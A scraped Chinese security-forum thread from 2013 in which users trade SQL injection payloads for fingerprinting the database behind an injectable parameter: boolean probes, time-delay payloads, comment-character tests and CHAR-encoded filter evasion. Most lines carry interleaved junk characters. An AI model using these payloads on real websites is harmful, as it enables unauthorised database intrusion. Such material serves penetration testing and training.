一个注射点如何最快速确认是什么类型数据库( t: R6 s( R$ k
xsser (十根阳具有长短!!) | 2013-02-05 12:360 Q" n* F" M5 n. D
假设这么一个注射点:
- \0 D$ I# b- D' C$ A6 M; V$ [& b3 q& Yshow.html?id=25 X- K5 |6 N+ e2 l" q+ H
mysql:id=2 and version()>0' y. M0 N& M& W+ C
oracle:id=2 and '1'||'1'='11
- w& [5 o7 P6 M0 D, z E9 n其他的欢迎补充
0 G& b5 ?$ Y' V( b5 u( _1#
( z$ A" F+ _! L) L; R; |6 tupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47) w& A/ @4 m( K2 r2 H# o% R- u
Access:$ q, c5 ]5 }0 I* S0 a
aNd aSc(cHr(97))=97
- ?$ w/ e' Q& B$ e" X9 k8 [3 Z+ Pand exists(select id from MSysAccessObjects)
* ?# k/ S4 v; R" N ESQL Server:
6 `$ N7 M" o7 B9 V! ]+ x1 m1 I! R1 oand exists(select id from sysobjects)0 z9 P+ a; K4 e- v0 ~
and length(user)>0
" [6 a$ ?9 ?8 G( c9 t2 [& `2 V. tMySQL:
' M$ b6 `. ?+ S+ rand length(user())>0
0 n- g E1 K8 I3 |$ k6 D6 e* h7 U2#9 ?) R- R& H+ [2 F9 I
xsser (十根阳具有长短!!) | 2013-02-05 12:486 a/ S6 F- L$ r# e
@upload 如果这些都不是呢…
. b7 ?0 j. g5 k- M3#
8 b5 d: [9 v$ V$ f$ _$ Zupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03 g/ B' b& x8 h5 o
@xsser 不快速的,延时注入
[% q8 l" ?5 D不知道这样写对不对4 d" c Q) P7 R7 d
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'3 i2 w2 T6 l1 I3 K- L
mysql:id=2 and select benchmark(1e8,current_date());! q' d7 S( k# F% C) J* k
4#
4 Z- W3 N. q" v- [5 O4 Y* H7 Fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
4 ?% B( `$ B u" {最快的貌似是看报错信息/ U6 o/ L u# O! `2 z
oracle error
" ^1 l, T4 b3 ` tmssql error
" n+ w- R W! Kmysql error) {" [/ z) f9 ]9 {+ ~& }2 [
5#4 B! W1 \( ?9 ~! {" ^
Nimda (你们都是坏银~) | 2013-02-05 13:14- K* o3 h1 k7 P" ~) w
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
9 a" i6 Q- v0 L3 X5 F5 f6#
& M& E' R) ]. a& y- y e) Aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21- s# p. t% c& X; d/ f4 \. {4 X
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符: c+ k$ R. v0 M/ b7 Q- M0 H
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:+ R0 ?, {! R. q8 Y
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
0 j E9 E1 b2 v& s7#
1 z( q$ \* {1 O2 W8 ?' |/ M_Evil (HackEnd) | 2013-02-05 13:332 G' `! h% Y. y
PostgreSQL
7 H7 E& X7 J- r: n* K3 Q4 c6 r+ T8#
& A" B4 Y4 ?! ~4 n y: Zupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:424 _' i/ v8 T. x* a$ h0 e# i G
切换编码 and 1=1
1 g- ~4 @0 V( e! E( ^% Y4 Woracle:7 k. H$ P8 W7 X) x/ P2 U
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
# J+ V/ [+ J1 v2 U" ?0 b6 Mmssql:- M6 Y* _9 j1 H% m. W: E
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
0 {8 R4 `; f5 A! }8 N# Tmysql:# H9 n$ ~0 y ]& D* r
CHAR(97, 110, 100, 32, 49, 61, 49)
- B: j: [/ `, f4 V- M0 ]5 L8 K4 }9#1 X2 F! t$ w5 V
xsser (十根阳具有长短!!) | 2013-02-05 14:31 L# t6 D4 [' O& M
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?* p' \: T. T, Z0 R& B4 g) Z
10#
* W5 M1 ]) j. P- d4 b1 @/ jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
, F( |# D. c% R" J& a! B2 {@xsser 是奇葩数据库类型的么?- G& }6 S- ~* q. C1 {+ ^& `+ N
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:: D5 o: K! G& i. [: f
1.是否可以使用特定的函数来判断,该数据库特有的
* n4 w- `7 E }3 x6 ?$ q# U2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等3 y& z* m7 X( G! l. x- }
3.是否可以编码查询! J9 D) k. Y7 S. | X0 b! ?
4.是否显可以利用错信息
* U ~ Y, T- a) |2 Z& B4 h+ D5.是否存在数据库某些特性辅助判断
1 j# c5 o% f+ w) O) }4 r5 G8 U9 @个人见解
& j1 b. I% g% P11#
: B; T v; U9 i! O2 R' f+ [, `8 |! R小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:557 D5 P+ h# T; ] J3 E- O
已收藏,mssql可以直接看到错误提示的吧~( O6 L3 v6 O. x
12#4 w1 u' T3 S: h1 L5 s
Passer_by | 2013-02-05 15:097 r! Q$ ]* o7 ]7 e' }
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
& g+ `7 o4 A5 lfrom:http://zone.wooyun.org/content/260 |